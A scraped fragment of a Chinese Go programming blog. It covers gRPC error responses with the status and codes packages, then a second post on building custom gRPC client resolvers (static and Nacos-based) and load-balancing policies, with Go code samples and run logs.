\u0026#34; + in.GetName()}, errors.New(\u0026#34;test grpc error\u0026#34;) } 在上面代码中，我们故意构造一个错误并返回给调用该方法的客户端。我们来运行一下这个服务并启动greeter_client来访问该服务，在客户端侧，我们得到的结果如下：\n2021/09/20 17:04:35 could not greet: rpc error: code = Unknown desc = test grpc error 从客户端的输出结果中，我们看到了我们自定义的错误的内容(test grpc error)。但我们还发现错误输出的内容中还有一个”code = Unknown”的输出，这个code是从何而来呢？似乎grpc期待的error形式是包含code与desc的形式。\n这时候就不得不查看一下gprc-go(v1.40.0)的参考文档了！在grpc-go的文档中我们发现几个被DEPRECATED的与Error有关的函数：\n在这几个作废的函数的文档中都提到了用status包的同名函数替代。那么这个status包又是何方神圣？我们翻看grpc-go的源码，终于找到了status包，在包说明的第一句中我们就找到了答案：\nPackage status implements errors returned by gRPC. 原来status包实现了上面grpc客户端所期望的error类型。那么这个类型是什么样的呢？我们逐步跟踪代码：\n在grpc-go/status包中我们看到如下代码：\ntype Status = status.Status // New returns a Status representing c and msg. func New(c codes.Code, msg string) *Status { return status.New(c, msg) } status包使用了internal/status包中的Status，我们再来看internal/status包中Status结构的定义：\n// internal/status type Status struct { s *spb.Status } // New returns a Status representing c and msg. func New(c codes.Code, msg string) *Status { return \u0026amp;Status{s: \u0026amp;spb.Status{Code: int32(c), Message: msg}} } internal/status包的Status结构体组合了一个*spb.Status类型(google.golang.org/genproto/googleapis/rpc/status包中的类型)的字段，继续追踪spb.Status:\n// https://pkg.go.dev/google.golang.org/genproto/googleapis/rpc/status type Status struct { // The status code, which should be an enum value of [google.rpc.Code][google.rpc.Code]. Code int32 `protobuf:\u0026#34;varint,1,opt,name=code,proto3\u0026#34; json:\u0026#34;code,omitempty\u0026#34;` // A developer-facing error message, which should be in English. Any // user-facing error message should be localized and sent in the // [google.rpc.Status.details][google.rpc.Status.details] field, or localized by the client. Message string `protobuf:\u0026#34;bytes,2,opt,name=message,proto3\u0026#34; json:\u0026#34;message,omitempty\u0026#34;` // A list of messages that carry the error details. There is a common set of // message types for APIs to use. Details []*anypb.Any `protobuf:\u0026#34;bytes,3,rep,name=details,proto3\u0026#34; json:\u0026#34;details,omitempty\u0026#34;` // contains filtered or unexported fields } 我们看到最后的这个Status结构包含了Code与Message。这样一来，grpc的设计意图就很明显了，它期望开发者在error这个返回值中包含rpc方法的响应状态，而自定义的响应结构体只需包含业务所需要的数据即可。我们用一幅示意图来横向建立一下http api与rpc响应的映射关系：\n有了这幅图，再面对如何设计grpc方法响应这个问题时，我们就胸有成竹了！\ngrpc-go在codes包中定义了grpc规范要求的10余种错误码：\nconst ( // OK is returned on success. OK Code = 0 // Canceled indicates the operation was canceled (typically by the caller). // // The gRPC framework will generate this error code when cancellation // is requested. Canceled Code = 1 // Unknown error. An example of where this error may be returned is // if a Status value received from another address space belongs to // an error-space that is not known in this address space. Also // errors raised by APIs that do not return enough error information // may be converted to this error. // // The gRPC framework will generate this error code in the above two // mentioned cases. Unknown Code = 2 // InvalidArgument indicates client specified an invalid argument. // Note that this differs from FailedPrecondition. It indicates arguments // that are problematic regardless of the state of the system // (e.g., a malformed file name). // // This error code will not be generated by the gRPC framework. InvalidArgument Code = 3 ... ... // Unauthenticated indicates the request does not have valid // authentication credentials for the operation. // // The gRPC framework will generate this error code when the // authentication metadata is invalid or a Credentials callback fails, // but also expect authentication middleware to generate it. Unauthenticated Code = 16 在这些标准错误码之外，我们还可以扩展定义自己的错误码与错误描述。\n3. 服务端如何构造error与客户端如何解析error 前面提到，gRPC服务端采用rpc方法的最后一个返回值error来承载应答状态。google.golang.org/grpc/status包为构建客户端可解析的error提供了一些方便的函数，我们看下面示例（基于上面helloworld的greeter_server改造）：\nfunc (s *server) SayHello(ctx context.Context, in *pb.HelloRequest) (*pb.HelloReply, error) { log.Printf(\u0026#34;Received: %v\u0026#34;, in.GetName()) return nil, status.Errorf(codes.InvalidArgument, \u0026#34;you have a wrong name: %s\u0026#34;, in.GetName()) } status包提供了一个类似于fmt.Errorf的函数，我们可以很方便的构造一个带有code与msg的error实例并返回给客户端。\n而客户端同样可以通过status包提供的函数将error中携带的信息解析出来，我们看下面代码：\nctx, _ := context.WithTimeout(context.Background(), time.Second) r, err := c.SayHello(ctx, \u0026amp;pb.HelloRequest{Name: \u0026#34;tony\u0026#34;)}) if err != nil { errStatus := status.Convert(err) log.Printf(\u0026#34;SayHello return error: code: %d, msg: %s\\n\u0026#34;, errStatus.Code(), errStatus.Message()) } log.Printf(\u0026#34;Greeting: %s\u0026#34;, r.GetMessage()) 我们看到：通过status.Convert函数可以很简答地将rpc方法返回的不为nil的error中携带的信息提取出来。\n4. 空应答 gRPC的proto文件规范要求每个rpc方法的定义中都必须包含一个返回值，返回值不能为空，比如上面helloworld项目的.proto文件中的SayHello方法：\nrpc SayHello (HelloRequest) returns (HelloReply) {} 如果去掉HelloReply这个返回值，那么protoc在生成代码时会报错！\n但是有些方法本身不需要返回业务数据，那么我们就需要为其定义一个空应答消息，比如：\nmessage Empty { } 考虑到每个项目在遇到空应答时都要重复造上面Empty message定义的轮子，grpc官方提供了一个可被复用的空message：\n// https://github.com/protocolbuffers/protobuf/blob/master/src/google/protobuf/empty.proto // A generic empty message that you can re-use to avoid defining duplicated // empty messages in your APIs. A typical example is to use it as the request // or the response type of an API method. For instance: // // service Foo { // rpc Bar(google.protobuf.Empty) returns (google.protobuf.Empty); // } // // The JSON representation for `Empty` is empty JSON object `{}`. message Empty {} 我们只需在.proto文件中导入该empty.proto并使用Empty即可，比如下面代码：\n// xxx.proto syntax = \u0026#34;proto3\u0026#34;; import \u0026#34;google/protobuf/empty.proto\u0026#34;; service MyService { rpc MyRPCMethod(...) returns (google.protobuf.Empty); } 当然google.protobuf.Empty不仅仅适用于空响应，也适合空请求，这个就留给大家可自行完成吧。\n5. 小结 本文我们讲述了gRPC服务端响应设计的相关内容，最主要想说的是直接使用gRPC生成的rpc方面的error返回值来表示rpc调用的响应状态，不要再在自定义的Message结构中重复放入code与msg字段来表示响应状态了。\nbtw，做API的错误设计，google的这份API设计方面的参考资料是十分好的。有时间一定要好好读读哦。\n“Gopher部落”知识星球正式转正（从试运营星球变成了正式星球）！“gopher部落”旨在打造一个精品Go学习和进阶社群！高品质首发Go技术文章，“三天”首发阅读权，每年两期Go语言发展现状分析，每天提前1小时阅读到新鲜的Gopher日报，网课、技术专栏、图书内容前瞻，六小时内必答保证等满足你关于Go语言生态的所有需求！部落目前虽小，但持续力很强。在2021年上半年，部落将策划两个专题系列分享，并且是部落独享哦：\nGo技术书籍的书摘和读书体会系列 Go与eBPF系列 欢迎大家加入！\nGo技术专栏“改善Go语⾔编程质量的50个有效实践”正在慕课网火热热销中！本专栏主要满足广大gopher关于Go语言进阶的需求，围绕如何写出地道且高质量Go代码给出50条有效实践建议，上线后收到一致好评！欢迎大家订\n阅！\n我的网课“Kubernetes实战：高可用集群搭建、配置、运维与应用”在慕课网热卖中，欢迎小伙伴们订阅学习！\n我爱发短信：企业级短信平台定制开发专家 https://tonybai.com/。smspush : 可部署在企业内部的定制化短信平台，三网覆盖，不惧大并发接入，可定制扩展； 短信内容你来定，不再受约束, 接口丰富，支持长短信，签名可选。2020年4月8日，中国三大电信运营商联合发布《5G消息白皮书》，51短信平台也会全新升级到“51商用消息平台”，全面支持5G RCS消息。\n著名云主机服务厂商DigitalOcean发布最新的主机计划，入门级Droplet配置升级为：1 core CPU、1G内存、25G高速SSD，价格5$/月。有使用DigitalOcean需求的朋友，可以打开这个链接地址：https://m.do.co/c/bff6eed92687 开启你的DO主机之路。\nGopher Daily(Gopher每日新闻)归档仓库 – https://github.com/bigwhite/gopherdaily\n我的联系方式：\n微博：https://weibo.com/bigwhite20xx 微信公众号：iamtonybai 博客：tonybai.com github: https://github.com/bigwhite “Gopher部落”知识星球：https://public.zsxq.com/groups/51284458844544 微信赞赏：\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。\n","permalink":"https://tonybai.com/2021/09/26/the-design-of-the-response-for-grpc-server/","summary":"\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/images/wp-content/uploads/the-design-of-the-response-for-grpc-server-0.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2021/09/26/the-design-of-the-response-for-grpc-server\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2021/09/26/the-design-of-the-response-for-grpc-server\"\u003ehttps://tonybai.com/2021/09/26/the-design-of-the-response-for-grpc-server\u003c/a\u003e\u003c/p\u003e\n\u003ch3 id=\"1-服务端响应的现状\"\u003e1. 服务端响应的现状\u003c/h3\u003e\n\u003cp\u003e做后端服务的开发人员对错误处理总是很敏感的，因此在做服务的响应(response/reply)设计时总是会很慎重。\u003c/p\u003e\n\u003cp\u003e如果后端服务选择的是HTTP API(rest api)，比如json over http，API响应(Response）中大多会包含如下信息：\u003c/p\u003e","title":"gRPC服务的响应设计"},{"content":"\n本文永久链接 – https://tonybai.com/2021/09/17/those-things-about-grpc-client\n在云原生与微服务主导架构模式的时代，内部服务间交互所采用的通信协议选型无非就是两类：HTTP API(RESTful API)和RPC。在如今的硬件配置与网络条件下，现代RPC实现的性能一般都是好于HTTP API的。我们以json over http与gRPC(insecure)作比较，分别使用ghz和hey压测gRPC和json over http的实现，gRPC的性能（Requests/sec: 59924.34）要比http api性能(Requests/sec: 49969.9234)高出20%。实测gPRC使用的protobuf的编解码性能更是最快的json编解码的2-3倍，是Go标准库json包编解码性能的10倍以上(具体数据见本文附录)。\n对于性能敏感并且内部通信协议较少变动的系统来说，内部服务使用RPC可能是多数人的选择。而gRPC虽然不是性能最好的RPC实现，但作为有谷歌大厂背书且是CNCF唯一的RPC项目，gRPC自然得到了开发人员最广泛的关注与使用。\n本文也来说说gRPC，不过我们更多关注一下gRPC的客户端，我们来看看使用gRPC客户端时都会考虑的那些事情（本文所有代码基于gRPC v1.40.0版本，Go 1.17版本)。\n1. 默认的gRPC的客户端 gRPC支持四种通信模式，它们是（以下四张图截自《gRPC: Up and Running》一书）：\n简单RPC(Simple RPC)：最简单的，也是最常用的gRPC通信模式，简单来说就是一请求一应答 服务端流RPC(Server-streaming RPC)：一请求，多应答 客户端流RPC(Client-streaming RPC)：多请求，一应答 双向流RPC(Bidirectional-Streaming RPC)：多请求，多应答 我们以最常用的Simple RPC(也称Unary RPC)为例来看一下如何实现一个gRPC版的helloworld。\n我们无需自己从头来编写helloworld.proto并生成相应的gRPC代码，gRPC官方提供了一个helloworld的例子，我们仅需对其略微改造一下即可。\nhelloworld例子的IDL文件helloworld.proto如下：\n// https://github.com/grpc/grpc-go/tree/master/examples/helloworld/helloworld/helloworld.proto syntax = \u0026#34;proto3\u0026#34;; option go_package = \u0026#34;google.golang.org/grpc/examples/helloworld/helloworld\u0026#34;; option java_multiple_files = true; option java_package = \u0026#34;io.grpc.examples.helloworld\u0026#34;; option java_outer_classname = \u0026#34;HelloWorldProto\u0026#34;; package helloworld; // The greeting service definition. service Greeter { // Sends a greeting rpc SayHello (HelloRequest) returns (HelloReply) {} } // The request message containing the user\u0026#39;s name. message HelloRequest { string name = 1; } // The response message containing the greetings message HelloReply { string message = 1; } 对.proto文件的规范讲解大家可以参考grpc官方文档，这里不赘述。显然上面这个IDL是极致简单的。这里定义了一个service：Greeter，它仅包含一个方法SayHello，并且这个方法的参数与返回值都是一个仅包含一个string字段的结构体。\n我们无需手工执行protoc命令来基于该.proto文件生成对应的Greeter service的实现以及HelloRequest、HelloReply的protobuf编解码实现，因为gRPC在example下已经放置了生成后的Go源文件，我们直接引用即可。这里要注意，最新的grpc-go项目仓库采用了多module的管理模式，examples作为一个独立的go module而存在，因此我们需要将其单独作为一个module导入到其使用者的项目中。以gRPC客户端greeter_client为例，它的go.mod要这样来写：\n// https://github.com/bigwhite/experiments/tree/master/grpc-client/demo1/greeter_client/go.mod module github.com/bigwhite/grpc-client/demo1 go 1.17 require ( google.golang.org/grpc v1.40.0 google.golang.org/grpc/examples v1.40.0 ) require ( github.com/golang/protobuf v1.4.3 // indirect golang.org/x/net v0.0.0-20201021035429-f5854403a974 // indirect golang.org/x/sys v0.0.0-20200930185726-fdedc70b468f // indirect golang.org/x/text v0.3.3 // indirect google.golang.org/genproto v0.0.0-20200806141610-86f49bd18e98 // indirect google.golang.org/protobuf v1.25.0 // indirect ) replace google.golang.org/grpc v1.40.0 =\u0026gt; /Users/tonybai/Go/src/github.com/grpc/grpc-go replace google.golang.org/grpc/examples v1.40.0 =\u0026gt; /Users/tonybai/Go/src/github.com/grpc/grpc-go/examples 注：grpc-go项目的标签(tag)似乎打的有问题，由于没有打grpc/examples/v1.40.0标签，go命令在grpc-go的v1.40.0标签中找不到examples，因此上面的go.mod中使用了一个replace trick(example module的v1.40.0版本是假的哦)，将examples module指向本地的代码。\ngRPC通信的两端我们也稍作改造。原greeter_client仅发送一个请求便退出，这里我们将其改为每隔2s发送请求（便于后续观察），如下面代码所示：\n// https://github.com/bigwhite/experiments/tree/master/grpc-client/demo1/greeter_client/main.go ... ... func main() { // Set up a connection to the server. ctx, cf1 := context.WithTimeout(context.Background(), time.Second*3) defer cf1() conn, err := grpc.DialContext(ctx, address, grpc.WithInsecure(), grpc.WithBlock()) if err != nil { log.Fatalf(\u0026#34;did not connect: %v\u0026#34;, err) } defer conn.Close() c := pb.NewGreeterClient(conn) // Contact the server and print out its response. name := defaultName if len(os.Args) \u0026gt; 1 { name = os.Args[1] } for i := 0; ; i++ { ctx, _ := context.WithTimeout(context.Background(), time.Second) r, err := c.SayHello(ctx, \u0026amp;pb.HelloRequest{Name: fmt.Sprintf(\u0026#34;%s-%d\u0026#34;, name, i+1)}) if err != nil { log.Fatalf(\u0026#34;could not greet: %v\u0026#34;, err) } log.Printf(\u0026#34;Greeting: %s\u0026#34;, r.GetMessage()) time.Sleep(2 * time.Second) } } greeter_server加了一个命令行选项-port并支持gRPC server的优雅退出：\n// https://github.com/bigwhite/experiments/tree/master/grpc-client/demo1/greeter_server/main.go ... ... var port int func init() { flag.IntVar(\u0026amp;port, \u0026#34;port\u0026#34;, 50051, \u0026#34;listen port\u0026#34;) } func main() { flag.Parse() lis, err := net.Listen(\u0026#34;tcp\u0026#34;, fmt.Sprintf(\u0026#34;localhost:%d\u0026#34;, port)) if err != nil { log.Fatalf(\u0026#34;failed to listen: %v\u0026#34;, err) } s := grpc.NewServer() pb.RegisterGreeterServer(s, \u0026amp;server{}) go func() { if err := s.Serve(lis); err != nil { log.Fatalf(\u0026#34;failed to serve: %v\u0026#34;, err) } }() var c = make(chan os.Signal) signal.Notify(c, os.Interrupt, os.Kill) \u0026lt;-c s.Stop() fmt.Println(\u0026#34;exit\u0026#34;) } 搞定go.mod以及对client和server进行改造ok后，我们就可以来构建和运行greeter_client和greeter_server了：\n编译和启动server： $cd grpc-client/demo1/greeter_server $make $./demo1-server -port 50051 2021/09/11 12:10:33 Received: world-1 2021/09/11 12:10:35 Received: world-2 2021/09/11 12:10:37 Received: world-3 ... ... 编译和启动client： $cd grpc-client/demo1/greeter_client $make $./demo1-client 2021/09/11 12:10:33 Greeting: Hello world-1 2021/09/11 12:10:35 Greeting: Hello world-2 2021/09/11 12:10:37 Greeting: Hello world-3 ... ... 我们看到：greeter_client和greeter_server启动后可以正常的通信！我们重点看一下greeter_client。\ngreeter_client在Dial服务端时传给DialContext的target参数是一个静态的服务地址：\nconst ( address = \u0026#34;localhost:50051\u0026#34; ) 这个形式的target经过google.golang.org/grpc/internal/grpcutil.ParseTarget的解析后返回一个值为nil的resolver.Target。于是gRPC采用默认的scheme：”passthrough”(github.com/grpc/grpc-go/resolver/resolver.go)，默认的”passthrough” scheme下，gRPC将使用内置的passthrough resolver(google.golang.org/grpc/internal/resolver/passthrough)。默认的这个passthrough resolver是如何设置要连接的service地址的呢？下面是passthrough resolver的代码摘录：\n// github.com/grpc/grpc-go/internal/resolver/passthrough/passthrough.go func (r *passthroughResolver) start() { r.cc.UpdateState(resolver.State{Addresses: []resolver.Address{{Addr: r.target.Endpoint}}}) } 我们看到它将target.Endpoint，即localhost:50051直接传给了ClientConnection(上面代码的r.cc)，后者将向这个地址建立tcp连接。这正应了该resolver的名字：passthrough。\n上面greeter_client连接的仅仅是service的一个实例(instance)，如果我们同时启动了该service的三个实例，比如使用goreman通过加载脚本文件来启动多个service实例：\n// https://github.com/bigwhite/experiments/tree/master/grpc-client/demo1/greeter_server/Procfile # Use goreman to run `go get github.com/mattn/goreman` demo1-server1: ./demo1-server -port 50051 demo1-server2: ./demo1-server -port 50052 demo1-server3: ./demo1-server -port 50053 同时启动多实例： $goreman start 15:22:12 demo1-server3 | Starting demo1-server3 on port 5200 15:22:12 demo1-server2 | Starting demo1-server2 on port 5100 15:22:12 demo1-server1 | Starting demo1-server1 on port 5000 那么我们应该如何告诉greeter_client去连接这三个实例呢？是否可以将address改为下面这样就可以了呢：\nconst ( address = \u0026#34;localhost:50051,localhost:50052,localhost:50053\u0026#34; defaultName = \u0026#34;world\u0026#34; ) 我们来改改试试，修改后重新编译greeter_client，启动greeter_client，我们看到下面结果：\n$./demo1-client 2021/09/11 15:26:32 did not connect: context deadline exceeded greeter_client连接server超时！也就是说像上面这样简单的传入多个实例的地址是不行的！那问题来了！我们该怎么让greeter_client去连接一个service的多个实例呢？我们继续向下看。\n2. 连接一个Service的多个实例(instance) grpc.Dial/grpc.DialContext的参数target可不仅仅是service实例的服务地址这么简单，它的实参(argument)形式决定了gRPC client将采用哪一个resolver来确定service实例的地址集合。\n下面我们以一个返回service实例地址静态集合(即service的实例数量固定且服务地址固定)的StaticResolver为例，来看如何让gRPC client连接一个Service的多个实例。\n1) StaticResolver 我们首先来设计一下传给grpc.DialContext的target形式。关于gRPC naming resolution，gRPC有专门文档说明。在这里，我们也创建一个新的scheme：static，多个service instance的服务地址通过逗号分隔的字符串传入，如下面代码：\n// https://github.com/bigwhite/experiments/tree/master/grpc-client/demo2/greeter_client/main.go const ( address = \u0026#34;static:///localhost:50051,localhost:50052,localhost:50053\u0026#34; ) 当address被作为target的实参传入grpc.DialContext后，它会被grpcutil.ParseTarget解析为一个resolver.Target结构体，该结构体包含三个字段：\n// github.com/grpc/grpc-go/resolver/resolver.go type Target struct { Scheme string Authority string Endpoint string } 其中Scheme为”static”，Authority为空，Endpoint为”localhost:50051,localhost:50052,localhost:50053″。\n接下来，gRPC会根据Target.Scheme的值到resolver包中的builder map中查找是否有对应的Resolver Builder实例。到目前为止gRPC内置的的resolver Builder都无法匹配该Scheme值。是时候自定义一个StaticResolver的Builder了！\ngrpc的resolve包定义了一个Builder实例需要实现的接口：\n// github.com/grpc/grpc-go/resolver/resolver.go // Builder creates a resolver that will be used to watch name resolution updates. type Builder interface { // Build creates a new resolver for the given target. // // gRPC dial calls Build synchronously, and fails if the returned error is // not nil. Build(target Target, cc ClientConn, opts BuildOptions) (Resolver, error) // Scheme returns the scheme supported by this resolver. // Scheme is defined at https://github.com/grpc/grpc/blob/master/doc/naming.md. Scheme() string } Scheme方法返回这个Builder对应的scheme，而Build方法则是真正用于构建Resolver实例的方法，我们来看一下StaticBuilder的实现：\n// https://github.com/bigwhite/experiments/tree/master/grpc-client/demo2/greeter_client/builder.go func init() { resolver.Register(\u0026amp;StaticBuilder{}) //在init函数中将StaticBuilder实例注册到resolver包的Resolver map中 } type StaticBuilder struct{} func (sb *StaticBuilder) Build(target resolver.Target, cc resolver.ClientConn, opts resolver.BuildOptions) (resolver.Resolver, error) { // 解析target.Endpoint (例如：localhost:50051,localhost:50052,localhost:50053) endpoints := strings.Split(target.Endpoint, \u0026#34;,\u0026#34;) r := \u0026amp;StaticResolver{ endpoints: endpoints, cc: cc, } r.ResolveNow(resolver.ResolveNowOptions{}) return r, nil } func (sb *StaticBuilder) Scheme() string { return \u0026#34;static\u0026#34; // 返回StaticBuilder对应的scheme字符串 } 在这个StaticBuilder实现中，init函数在包初始化是就将一个StaticBuilder实例注册到resolver包的Resolver map中。这样gRPC在Dial时就能通过target中的scheme找到该builder。Build方法是StaticBuilder的关键，在这个方法中，它首先解析传入的target.Endpoint，得到三个service instance的服务地址并存到新创建的StaticResolver实例中，并调用StaticResolver实例的ResolveNow方法确定即将连接的service instance集合。\n和Builder一样，grpc的resolver包也定义了每个resolver需要实现的Resolver接口：\n// github.com/grpc/grpc-go/resolver/resolver.go // Resolver watches for the updates on the specified target. // Updates include address updates and service config updates. type Resolver interface { // ResolveNow will be called by gRPC to try to resolve the target name // again. It\u0026#39;s just a hint, resolver can ignore this if it\u0026#39;s not necessary. // // It could be called multiple times concurrently. ResolveNow(ResolveNowOptions) // Close closes the resolver. Close() } 从这个接口注释我们也能看出，Resolver的实现负责监视(watch)服务测的地址与配置变化，并将变化更新给grpc的ClientConn。我们来看看我们的StaticResolver的实现：\n// https://github.com/bigwhite/experiments/tree/master/grpc-client/demo2/greeter_client/resolver.go type StaticResolver struct { endpoints []string cc resolver.ClientConn sync.Mutex } func (r *StaticResolver) ResolveNow(opts resolver.ResolveNowOptions) { r.Lock() r.doResolve() r.Unlock() } func (r *StaticResolver) Close() { } func (r *StaticResolver) doResolve() { var addrs []resolver.Address for i, addr := range r.endpoints { addrs = append(addrs, resolver.Address{ Addr: addr, ServerName: fmt.Sprintf(\u0026#34;instance-%d\u0026#34;, i+1), }) } newState := resolver.State{ Addresses: addrs, } r.cc.UpdateState(newState) } 注：resolver.Resolver接口的注释要求ResolveNow方法是要支持并发安全的，所以这里我们通过sync.Mutex来实现同步。\n由于服务侧的服务地址数量与信息都是不变的，因此这里并没有watch和update的过程，而只是在实现了ResolveNow(并在Builder中的Build方法中调用），在ResolveNow中将service instance的地址集合更新给ClientConnection(r.cc)。\n接下来我们来编译与运行一下demo2的client与server：\n$cd grpc-client/demo2/greeter_server $make $goreman start 22:58:21 demo2-server1 | Starting demo2-server1 on port 5000 22:58:21 demo2-server2 | Starting demo2-server2 on port 5100 22:58:21 demo2-server3 | Starting demo2-server3 on port 5200 $cd grpc-client/demo2/greeter_client $make $./demo2-client 执行一段时间后，你会在server端的日志中发现一个问题，如下日志所示：\n22:57:16 demo2-server1 | 2021/09/11 22:57:16 Received: world-1 22:57:18 demo2-server1 | 2021/09/11 22:57:18 Received: world-2 22:57:20 demo2-server1 | 2021/09/11 22:57:20 Received: world-3 22:57:22 demo2-server1 | 2021/09/11 22:57:22 Received: world-4 22:57:24 demo2-server1 | 2021/09/11 22:57:24 Received: world-5 22:57:26 demo2-server1 | 2021/09/11 22:57:26 Received: world-6 22:57:28 demo2-server1 | 2021/09/11 22:57:28 Received: world-7 22:57:30 demo2-server1 | 2021/09/11 22:57:30 Received: world-8 22:57:32 demo2-server1 | 2021/09/11 22:57:32 Received: world-9 我们的Service instance集合中明明有三个地址，为何只有server1收到了rpc请求，其他两个server都处于空闲状态呢？这是客户端的负载均衡策略在作祟！默认情况下，grpc会为客户端选择内置的“pick_first”负载均衡策略，即在service instance集合中选择第一个intance进行请求。在这个例子中，在pick_first策略的作用下，grpc总是会选择demo2-server1发起rpc请求。\n如果要将请求发到各个server上，我们可以将负载均衡策略改为另外一个内置的策略：round_robin，就像下面代码这样：\n// https://github.com/bigwhite/experiments/tree/master/grpc-client/demo2/greeter_client/main.go conn, err := grpc.DialContext(ctx, address, grpc.WithInsecure(), grpc.WithBlock(), grpc.WithBalancerName(\u0026#34;round_robin\u0026#34;)) 重新编译运行greeter_client后，在server测我们就可以看到rpc请求被轮询地发到了每个server instance上了。\n2) Resolver原理 我们再来用一幅图来梳理一下Builder以及Resolver的工作原理：\n图中的SchemeResolver泛指实现了某一特定scheme的resolver。如图所示，service instance集合resolve过程的步骤大致如下：\nSchemeBuilder将自身实例注册到resolver包的map中； grpc.Dial/DialContext时使用特定形式的target参数 对target解析后，根据target.Scheme到resolver包的map中查找Scheme对应的Buider； 调用Buider的Build方法 Build方法构建出SchemeResolver实例； 后续由SchemeResolver实例监视service instance变更状态并在有变更的时候更新ClientConnection。 3) NacosResolver 在生产环境中，考虑到服务的高可用、可伸缩等，我们很少使用固定地址、固定数量的服务实例集合，更多是通过服务注册和发现机制自动实现服务实例集合的更新。这里我们再来实现一个基于nacos的NacosResolver，实现服务实例变更时grpc Client的自动调整(注：nacos的本地单节点安装方案见文本附录)，让示例具实战意义^_^。\n由于有了上面关于Resolver原理的描述，这里简化了一些描述。\n首先和StaticResolver一样，我们也来设计一下target的形式。nacos有namespace, group的概念，因此我们将target设计为如下形式：\nnacos://[authority]/host:port/namespace/group/serviceName 具体到我们的greeter_client中，其address为：\n// https://github.com/bigwhite/experiments/tree/master/grpc-client/demo3/greeter_client/main.go const ( address = \u0026#34;nacos:///localhost:8848/public/group-a/demo3-service\u0026#34; //no authority ) 接下来我们来看NacosBuilder：\n// https://github.com/bigwhite/experiments/tree/master/grpc-client/demo3/greeter_client/builder.go func (nb *NacosBuilder) Build(target resolver.Target, cc resolver.ClientConn, opts resolver.BuildOptions) (resolver.Resolver, error) { // use info in target to access naming service // parse the target.endpoint // target.Endpoint - localhost:8848/public/DEFAULT_GROUP/serviceName, the addr of naming service :nacos endpoint sl := strings.Split(target.Endpoint, \u0026#34;/\u0026#34;) nacosAddr := sl[0] namespace := sl[1] group := sl[2] serviceName := sl[3] sl1 := strings.Split(nacosAddr, \u0026#34;:\u0026#34;) host := sl1[0] port := sl1[1] namingClient, err := initNamingClient(host, port, namespace, group) if err != nil { return nil, err } r := \u0026amp;NacosResolver{ namingClient: namingClient, cc: cc, namespace: namespace, group: group, serviceName: serviceName, } // initialize the cc\u0026#39;s states r.ResolveNow(resolver.ResolveNowOptions{}) // subscribe and watch r.watch() return r, nil } func (nb *NacosBuilder) Scheme() string { return \u0026#34;nacos\u0026#34; } NacosBuilder的Build方法流程也StaticBuilder并无二致，首先我们也是解析传入的target的Endpoint，即”localhost:8848/public/group-a/demo3-service”，并将解析后的各段信息存入新创建的NacosResolver实例中备用。NacosResolver还需要一个信息，那就是与nacos的连接，这里用initNamingClient创建一个nacos client端实例(调用nacos提供的go sdk)。\n接下来我们调用NacosResolver的ResolveNow获取一次nacos上demo3-service的服务实例列表并初始化ClientConn，最后我们调用NacosResolver的watch方法来订阅并监视demo3-service的实例变化。下面是NacosResolver的部分实现：\n// https://github.com/bigwhite/experiments/tree/master/grpc-client/demo3/greeter_client/resolver.go func (r *NacosResolver) doResolve(opts resolver.ResolveNowOptions) { instances, err := r.namingClient.SelectAllInstances(vo.SelectAllInstancesParam{ ServiceName: r.serviceName, GroupName: r.group, }) if err != nil { fmt.Println(err) return } if len(instances) == 0 { fmt.Printf(\u0026#34;service %s has zero instance\\n\u0026#34;, r.serviceName) return } // update cc.States var addrs []resolver.Address for i, inst := range instances { if (!inst.Enable) || (inst.Weight == 0) { continue } addrs = append(addrs, resolver.Address{ Addr: fmt.Sprintf(\u0026#34;%s:%d\u0026#34;, inst.Ip, inst.Port), ServerName: fmt.Sprintf(\u0026#34;instance-%d\u0026#34;, i+1), }) } if len(addrs) == 0 { fmt.Printf(\u0026#34;service %s has zero valid instance\\n\u0026#34;, r.serviceName) } newState := resolver.State{ Addresses: addrs, } r.Lock() r.cc.UpdateState(newState) r.Unlock() } func (r *NacosResolver) ResolveNow(opts resolver.ResolveNowOptions) { r.doResolve(opts) } func (r *NacosResolver) Close() { r.namingClient.Unsubscribe(\u0026amp;vo.SubscribeParam{ ServiceName: r.serviceName, GroupName: r.group, }) } func (r *NacosResolver) watch() { r.namingClient.Subscribe(\u0026amp;vo.SubscribeParam{ ServiceName: r.serviceName, GroupName: r.group, SubscribeCallback: func(services []model.SubscribeService, err error) { fmt.Printf(\u0026#34;subcallback: %#v\\n\u0026#34;, services) r.doResolve(resolver.ResolveNowOptions{}) }, }) } 这里的一个重要实现是ResolveNow和watch都调用的doResolve方法，该方法通过nacos-go sdk中的SelectAllInstances获取demo-service3的所有实例，并将得到的enabled(=true)和权重(weight)不为0的合法实例集合更新给ClientConn(r.cc.UpdateState)。\n在NacosResolver的watch方法中，我们通过nacos-go sdk中的Subscribe方法订阅demo3-service并提供了一个回调函数。这样每当demo3-service的实例发生变化时，该回调会被调用。在该回调中我们可以基于传回的最新的service实例集合（services []model.SubscribeService）来更新ClientConn，但在这里我们复用了doResolve方法，即又去nacos获取一次demo-service3的实例。\n编译运行demo3下greeter_server：\n$cd grpc-client/demo3/greeter_server $make $goreman start 06:06:02 demo3-server3 | Starting demo3-server3 on port 5200 06:06:02 demo3-server1 | Starting demo3-server1 on port 5000 06:06:02 demo3-server2 | Starting demo3-server2 on port 5100 06:06:02 demo3-server3 | 2021-09-12T06:06:02.913+0800 INFO nacos_client/nacos_client.go:87 logDir:\u0026lt;/tmp/nacos/log/50053\u0026gt; cacheDir:\u0026lt;/tmp/nacos/cache/50053\u0026gt; 06:06:02 demo3-server2 | 2021-09-12T06:06:02.913+0800 INFO nacos_client/nacos_client.go:87 logDir:\u0026lt;/tmp/nacos/log/50052\u0026gt; cacheDir:\u0026lt;/tmp/nacos/cache/50052\u0026gt; 06:06:02 demo3-server1 | 2021-09-12T06:06:02.913+0800 INFO nacos_client/nacos_client.go:87 logDir:\u0026lt;/tmp/nacos/log/50051\u0026gt; cacheDir:\u0026lt;/tmp/nacos/cache/50051\u0026gt; 运行greeter_server后，我们在nacos dashboard上会看到demo-service3的所有实例信息：\n编译运行demo3下greeter_client：\n$cd grpc-client/demo3/greeter_client $make $./demo3-client 2021-09-12T06:08:25.551+0800 INFO nacos_client/nacos_client.go:87 logDir:\u0026lt;/Users/tonybai/go/src/github.com/bigwhite/experiments/grpc-client/demo3/greeter_client/log\u0026gt; 